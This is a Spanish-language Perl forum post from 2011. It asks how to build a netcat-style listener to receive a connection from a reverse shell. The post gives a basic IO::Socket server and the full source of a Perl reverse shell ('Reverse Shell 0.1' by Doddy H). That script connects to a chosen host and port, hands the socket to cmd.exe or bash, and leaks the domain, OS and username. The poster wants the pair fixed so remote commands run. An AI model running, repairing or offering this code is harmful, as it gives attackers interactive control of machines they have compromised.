• Publicidad

Sustituto para netcat

¿Ya sabes lo que es una referencia? Has progresado, el nível básico es cosa del pasado y ahora estás listo para el siguiente nivel.

Sustituto para netcat

Notapor BigBear » 2011-10-26 08:53 @412

Hola, ando queriendo hacer un sustituto de netcat en Perl para la opción de mantener un puerto abierto para recibir datos. La idea sería que sea como el comando -lvvp de netcat.

El código del server que vendría a ser el sustituto de netcat sería el código siguiente:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. #!/usr/bin/perl -w
  2. # serverIO.pl - a simple server using
  3. # IO::Socket
  4. use strict;
  5. use IO::Socket;
  6. my $sock = new IO::Socket::INET(
  7.                    LocalHost => 'localhost',
  8.                    LocalPort => 7890,
  9.                    Proto     => 'tcp',
  10.                    Listen    => SOMAXCONN,
  11.                    Reuse     => 1);
  12. $sock or die "no socket :$!";
  13. my($new_sock, $c_addr, $buf);
  14. while (($new_sock, $c_addr) = $sock->accept()) {
  15.     my ($client_port, $c_ip) =
  16.                      sockaddr_in($c_addr);
  17.     my $client_ipnum = inet_ntoa($c_ip);
  18.     my $client_host =
  19.              gethostbyaddr($c_ip, AF_INET);
  20.     print "got a connection from: $client_host",
  21.           " [$client_ipnum]\n";
  22.     while (defined ($buf = <$new_sock>)) {
  23.         print $buf;
  24.     }
  25. }
  26.  
Coloreado en 0.003 segundos, usando GeSHi 1.0.8.4


Necesito hacer el server para poder usar una reverseshell la cual el código es el siguiente:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. #!usr/bin/perl
  2. #Reverse Shell 0.1
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6.  
  7. print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  8.  
  9. unless (@ARGV == 2) {
  10. print "[Sintax] : $0 <host> <port>\n\n";
  11. exit(1);
  12. } else {
  13. print "[+] Starting the connection\n";
  14. print "[+] Enter in the system\n";
  15. print "[+] Enjoy !!!\n\n";
  16. conectar($ARGV[0],$ARGV[1]);
  17. tipo();
  18. }
  19.  
  20. sub conectar {
  21. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  22. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  23. open (STDIN,">&REVERSE");
  24. open (STDOUT,">&REVERSE");
  25. open (STDERR,">&REVERSE");
  26. }
  27.  
  28. sub tipo {
  29. print "\n[*] Reverse Shell Starting...\n\n";
  30. if ($^O =~/Win32/ig) {
  31. infowin();
  32. system("cmd.exe");
  33. } else {
  34. infolinux();
  35. #root();  
  36. system("bin/bash");
  37. }
  38. }
  39.  
  40. sub infowin {
  41. print "[+] Domain Name : ".Win32::DomainName()."\n";
  42. print "[+] OS Version : ".Win32::GetOSName()."\n";
  43. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  44. }
  45.  
  46. sub infolinux {
  47. print "[+] System information\n\n";
  48. system("uname -a");
  49. }
  50.  
  51. #The End
Coloreado en 0.002 segundos, usando GeSHi 1.0.8.4


Cuando realizo las pruebas la reverseshell se conecta al server pero el server muestra la información del reverseshell pero se queda colgado cuando se tienen que ejecutar comandos.

¿ Alguien puede ayudarme ?
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Publicidad

Volver a Intermedio

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado